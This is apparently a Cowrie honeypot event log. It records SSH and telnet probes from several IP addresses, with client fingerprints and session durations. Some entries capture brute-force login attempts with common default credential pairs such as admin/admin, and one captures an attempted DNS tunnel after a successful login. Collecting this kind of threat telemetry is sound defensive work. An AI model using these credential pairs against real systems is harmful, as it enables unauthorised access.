{"eventid":"cowrie.session.closed","duration":"21.3","message":"Connection lost after 21.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:58.913256Z","src_ip":"122.168.114.167","session":"ebb2d0b74ca6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":57020,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b5b880b2c9","protocol":"ssh","message":"New connection: 103.13.206.208:57020 (159.203.135.109:22) [session: 08b5b880b2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:59.759372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:12:59.764030Z","src_ip":"103.13.206.208","session":"08b5b880b2c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:00.008081Z","src_ip":"103.13.206.208","session":"08b5b880b2c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21010,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f93c3acddc9","protocol":"ssh","message":"New connection: 87.251.64.176:21010 (10.17.0.5:22) [session: 2f93c3acddc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:00.714011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:00.718242Z","src_ip":"87.251.64.176","session":"2f93c3acddc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:00.814269Z","src_ip":"87.251.64.176","session":"2f93c3acddc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwer.","message":"login attempt [root/1234qwer.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:01.018188Z","src_ip":"103.13.206.208","session":"08b5b880b2c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:01.105158Z","src_ip":"87.251.64.176","session":"2f93c3acddc9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:01.203152Z","session":"2f93c3acddc9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:01.301583Z","src_ip":"87.251.64.176","session":"2f93c3acddc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:01.400668Z","src_ip":"87.251.64.176","session":"2f93c3acddc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.727287769317627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:01.595769Z","src_ip":"41.76.108.55","session":"b2c437643d62","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:02.263861Z","src_ip":"103.13.206.208","session":"08b5b880b2c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35079264640808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:06.134931Z","src_ip":"41.76.108.55","session":"272e4e49740b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":48344,"dst_ip":"159.203.135.109","dst_port":23,"session":"682bfaad0960","protocol":"telnet","message":"New connection: 41.76.108.55:48344 (159.203.135.109:23) [session: 682bfaad0960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:06.228092Z"}
{"eventid":"cowrie.session.closed","duration":30.815564155578613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:08.129352Z","src_ip":"41.76.108.55","session":"f401b08a22b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.668466567993164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:09.022017Z","src_ip":"15.204.204.191","session":"1e57ce666238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.603984832763672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:11.002076Z","src_ip":"41.76.108.55","session":"027cb09db94f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.608394861221313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:14.140736Z","src_ip":"41.76.108.55","session":"4855e41f612a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":44998,"dst_ip":"159.203.135.109","dst_port":22,"session":"201dd64694ce","protocol":"ssh","message":"New connection: 122.168.114.167:44998 (159.203.135.109:22) [session: 201dd64694ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:16.372070Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":38886,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1ccf52a3f0d","protocol":"telnet","message":"New connection: 41.76.108.55:38886 (159.203.135.109:23) [session: a1ccf52a3f0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:18.786512Z"}
{"eventid":"cowrie.session.closed","duration":31.19790554046631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:19.141406Z","src_ip":"41.76.108.55","session":"154f62b70ee4","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:19.290915Z","src_ip":"122.168.114.167","session":"201dd64694ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:19.295265Z","src_ip":"122.168.114.167","session":"201dd64694ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":15474,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29c694c4e83","protocol":"ssh","message":"New connection: 194.59.206.2:15474 (10.17.0.5:22) [session: f29c694c4e83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:20.387119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:20.393422Z","src_ip":"194.59.206.2","session":"f29c694c4e83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:20.478919Z","src_ip":"194.59.206.2","session":"f29c694c4e83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:20.567920Z","src_ip":"194.59.206.2","session":"f29c694c4e83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":50940,"dst_ip":"159.203.135.109","dst_port":23,"session":"89cfed4efc1a","protocol":"telnet","message":"New connection: 41.76.108.55:50940 (159.203.135.109:23) [session: 89cfed4efc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:22.257277Z"}
{"eventid":"cowrie.session.closed","duration":30.996984481811523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:22.740729Z","src_ip":"41.76.108.55","session":"0d5b570accee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":43296,"dst_ip":"159.203.135.109","dst_port":23,"session":"913a8a0cc1e7","protocol":"telnet","message":"New connection: 41.76.108.55:43296 (159.203.135.109:23) [session: 913a8a0cc1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:27.818243Z"}
{"eventid":"cowrie.session.closed","duration":31.30519413948059,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:28.262642Z","src_ip":"41.76.108.55","session":"9c62b6d8062c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:33.742021Z","src_ip":"122.168.114.167","session":"201dd64694ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39730,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9f26de0bb9","protocol":"telnet","message":"New connection: 41.76.108.55:39730 (159.203.135.109:23) [session: 6d9f26de0bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:34.565307Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49380,"dst_ip":"159.203.135.109","dst_port":23,"session":"34273151c014","protocol":"telnet","message":"New connection: 41.76.108.55:49380 (159.203.135.109:23) [session: 34273151c014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:36.976673Z"}
{"eventid":"cowrie.session.closed","duration":31.168080806732178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:37.396011Z","src_ip":"41.76.108.55","session":"682bfaad0960","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"21.4","message":"Connection lost after 21.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:37.789684Z","src_ip":"122.168.114.167","session":"201dd64694ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.394972562789917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:49.181371Z","src_ip":"41.76.108.55","session":"a1ccf52a3f0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919249057769775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:53.176436Z","src_ip":"41.76.108.55","session":"89cfed4efc1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":34420,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e9bc862b146","protocol":"ssh","message":"New connection: 210.114.22.126:34420 (10.17.0.5:22) [session: 1e9bc862b146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:53.698401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:54.301227Z","src_ip":"210.114.22.126","session":"1e9bc862b146","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:54.500561Z","src_ip":"210.114.22.126","session":"1e9bc862b146","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2020","message":"login attempt [ftpuser/ftpuser2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:55.506361Z","src_ip":"210.114.22.126","session":"1e9bc862b146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:56.898005Z","src_ip":"210.114.22.126","session":"1e9bc862b146","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.359496593475342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:58.177609Z","src_ip":"41.76.108.55","session":"913a8a0cc1e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47408,"dst_ip":"159.203.135.109","dst_port":22,"session":"837f6c81847e","protocol":"ssh","message":"New connection: 122.168.114.167:47408 (159.203.135.109:22) [session: 837f6c81847e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:13:59.106739Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54520,"dst_ip":"159.203.135.109","dst_port":23,"session":"864185e0d351","protocol":"telnet","message":"New connection: 41.76.108.55:54520 (159.203.135.109:23) [session: 864185e0d351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:00.336606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:00.778520Z","src_ip":"122.168.114.167","session":"837f6c81847e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:00.782202Z","src_ip":"122.168.114.167","session":"837f6c81847e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56948733329773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:05.134697Z","src_ip":"41.76.108.55","session":"6d9f26de0bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46338963508606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:08.440022Z","src_ip":"41.76.108.55","session":"34273151c014","protocol":"telnet"}
